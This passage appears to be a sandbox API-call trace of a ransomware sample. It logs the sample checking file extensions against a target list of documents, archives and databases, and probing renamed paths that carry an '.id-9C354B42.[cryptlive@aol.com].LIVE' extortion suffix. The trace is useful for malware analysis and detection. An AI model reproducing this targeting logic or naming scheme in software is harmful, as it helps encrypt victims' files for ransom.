lpString2=".FLT") returned 1 [0061.892] lstrlenW (lpString=".xlsx") returned 5 [0061.892] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0061.892] lstrlenW (lpString=".ppt") returned 4 [0061.893] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString=".zip") returned 4 [0061.893] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString=".rar") returned 4 [0061.893] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString=".bz2") returned 4 [0061.893] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0061.893] lstrlenW (lpString=".7z") returned 3 [0061.893] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString=".dbf") returned 4 [0061.893] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString=".1cd") returned 4 [0061.893] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString=".jpg") returned 4 [0061.893] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.893] lstrlenW (lpString=".doc") returned 4 [0061.893] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0061.893] lstrlenW (lpString=".docx") returned 5 [0061.893] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0061.893] lstrlenW (lpString=".pdf") returned 4 [0061.893] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString=".xls") returned 4 [0061.893] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0061.893] lstrlenW (lpString=".xlsx") returned 5 [0061.893] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0061.893] lstrlenW (lpString=".ppt") returned 4 [0061.893] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.894] lstrlenW (lpString=".zip") returned 4 [0061.894] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0061.894] lstrlenW (lpString=".rar") returned 4 [0061.894] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0061.894] lstrlenW (lpString=".bz2") returned 4 [0061.894] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0061.894] lstrlenW (lpString=".7z") returned 3 [0061.894] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.894] lstrlenW (lpString=".dbf") returned 4 [0061.894] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.894] lstrlenW (lpString=".1cd") returned 4 [0061.894] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0061.894] lstrlenW (lpString=".jpg") returned 4 [0061.894] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0061.894] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0061.894] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0061.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0062.341] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3584) returned 1 [0062.341] CloseHandle (hObject=0x21c) returned 1 [0062.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0062.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.341] lstrlenW (lpString=".doc") returned 4 [0062.341] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.341] lstrlenW (lpString=".docx") returned 5 [0062.341] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.341] lstrlenW (lpString=".pdf") returned 4 [0062.341] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.341] lstrlenW (lpString=".xls") returned 4 [0062.342] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.342] lstrlenW (lpString=".xlsx") returned 5 [0062.342] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.342] lstrlenW (lpString=".ppt") returned 4 [0062.342] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString=".zip") returned 4 [0062.342] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.342] lstrlenW (lpString=".rar") returned 4 [0062.342] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.342] lstrlenW (lpString=".bz2") returned 4 [0062.342] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.342] lstrlenW (lpString=".7z") returned 3 [0062.342] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString=".dbf") returned 4 [0062.342] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString=".1cd") returned 4 [0062.342] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString=".jpg") returned 4 [0062.342] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.342] lstrlenW (lpString=".doc") returned 4 [0062.342] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.342] lstrlenW (lpString=".docx") returned 5 [0062.342] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.342] lstrlenW (lpString=".pdf") returned 4 [0062.342] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.342] lstrlenW (lpString=".xls") returned 4 [0062.343] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.343] lstrlenW (lpString=".xlsx") returned 5 [0062.343] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.343] lstrlenW (lpString=".ppt") returned 4 [0062.343] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.343] lstrlenW (lpString=".zip") returned 4 [0062.343] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.343] lstrlenW (lpString=".rar") returned 4 [0062.343] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.343] lstrlenW (lpString=".bz2") returned 4 [0062.343] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.343] lstrlenW (lpString=".7z") returned 3 [0062.343] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.343] lstrlenW (lpString=".dbf") returned 4 [0062.343] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.343] lstrlenW (lpString=".1cd") returned 4 [0062.343] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0062.343] lstrlenW (lpString=".jpg") returned 4 [0062.343] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.343] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.343] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0062.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0062.344] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4096) returned 1 [0062.344] CloseHandle (hObject=0x21c) returned 1 [0062.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0062.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.345] lstrlenW (lpString=".doc") returned 4 [0062.345] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.345] lstrlenW (lpString=".docx") returned 5 [0062.345] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.345] lstrlenW (lpString=".pdf") returned 4 [0062.345] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.345] lstrlenW (lpString=".xls") returned 4 [0062.345] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.345] lstrlenW (lpString=".xlsx") returned 5 [0062.345] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.345] lstrlenW (lpString=".ppt") returned 4 [0062.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.345] lstrlenW (lpString=".zip") returned 4 [0062.345] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.345] lstrlenW (lpString=".rar") returned 4 [0062.345] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.345] lstrlenW (lpString=".bz2") returned 4 [0062.345] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.345] lstrlenW (lpString=".7z") returned 3 [0062.345] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.345] lstrlenW (lpString=".dbf") returned 4 [0062.345] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString=".1cd") returned 4 [0062.346] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString=".jpg") returned 4 [0062.346] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString=".doc") returned 4 [0062.346] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.346] lstrlenW (lpString=".docx") returned 5 [0062.346] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.346] lstrlenW (lpString=".pdf") returned 4 [0062.346] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.346] lstrlenW (lpString=".xls") returned 4 [0062.346] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.346] lstrlenW (lpString=".xlsx") returned 5 [0062.346] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.346] lstrlenW (lpString=".ppt") returned 4 [0062.346] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString=".zip") returned 4 [0062.346] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.346] lstrlenW (lpString=".rar") returned 4 [0062.346] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.346] lstrlenW (lpString=".bz2") returned 4 [0062.346] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.346] lstrlenW (lpString=".7z") returned 3 [0062.346] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.346] lstrlenW (lpString=".dbf") returned 4 [0062.347] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.347] lstrlenW (lpString=".1cd") returned 4 [0062.347] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0062.347] lstrlenW (lpString=".jpg") returned 4 [0062.347] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.347] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0062.347] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0062.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0062.347] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=193024) returned 1 [0062.347] CloseHandle (hObject=0x21c) returned 1 [0062.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0062.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.348] lstrlenW (lpString=".doc") returned 4 [0062.348] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.348] lstrlenW (lpString=".docx") returned 5 [0062.348] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0062.348] lstrlenW (lpString=".pdf") returned 4 [0062.348] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.348] lstrlenW (lpString=".xls") returned 4 [0062.348] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.348] lstrlenW (lpString=".xlsx") returned 5 [0062.348] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0062.348] lstrlenW (lpString=".ppt") returned 4 [0062.348] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.348] lstrlenW (lpString=".zip") returned 4 [0062.348] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.348] lstrlenW (lpString=".rar") returned 4 [0062.348] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.348] lstrlenW (lpString=".bz2") returned 4 [0062.348] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.348] lstrlenW (lpString=".7z") returned 3 [0062.348] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.348] lstrlenW (lpString=".dbf") returned 4 [0062.348] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString=".1cd") returned 4 [0062.349] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString=".jpg") returned 4 [0062.349] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString=".doc") returned 4 [0062.349] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.349] lstrlenW (lpString=".docx") returned 5 [0062.349] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0062.349] lstrlenW (lpString=".pdf") returned 4 [0062.349] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString=".xls") returned 4 [0062.349] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString=".xlsx") returned 5 [0062.349] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0062.349] lstrlenW (lpString=".ppt") returned 4 [0062.349] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString=".zip") returned 4 [0062.349] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString=".rar") returned 4 [0062.349] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.349] lstrlenW (lpString=".bz2") returned 4 [0062.349] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.349] lstrlenW (lpString=".7z") returned 3 [0062.349] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.349] lstrlenW (lpString=".dbf") returned 4 [0062.350] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.350] lstrlenW (lpString=".1cd") returned 4 [0062.350] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0062.350] lstrlenW (lpString=".jpg") returned 4 [0062.350] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.350] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.350] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0062.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0062.350] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3584) returned 1 [0062.350] CloseHandle (hObject=0x21c) returned 1 [0062.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0062.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.351] lstrlenW (lpString=".doc") returned 4 [0062.351] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.351] lstrlenW (lpString=".docx") returned 5 [0062.351] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.351] lstrlenW (lpString=".pdf") returned 4 [0062.351] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.351] lstrlenW (lpString=".xls") returned 4 [0062.351] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.351] lstrlenW (lpString=".xlsx") returned 5 [0062.351] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.351] lstrlenW (lpString=".ppt") returned 4 [0062.351] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.351] lstrlenW (lpString=".zip") returned 4 [0062.351] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.351] lstrlenW (lpString=".rar") returned 4 [0062.351] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.351] lstrlenW (lpString=".bz2") returned 4 [0062.351] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.351] lstrlenW (lpString=".7z") returned 3 [0062.351] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.351] lstrlenW (lpString=".dbf") returned 4 [0062.351] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.351] lstrlenW (lpString=".1cd") returned 4 [0062.351] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString=".jpg") returned 4 [0062.352] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString=".doc") returned 4 [0062.352] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.352] lstrlenW (lpString=".docx") returned 5 [0062.352] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.352] lstrlenW (lpString=".pdf") returned 4 [0062.352] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.352] lstrlenW (lpString=".xls") returned 4 [0062.352] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.352] lstrlenW (lpString=".xlsx") returned 5 [0062.352] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.352] lstrlenW (lpString=".ppt") returned 4 [0062.352] lstrcmpiW (lpString1=".ppt", 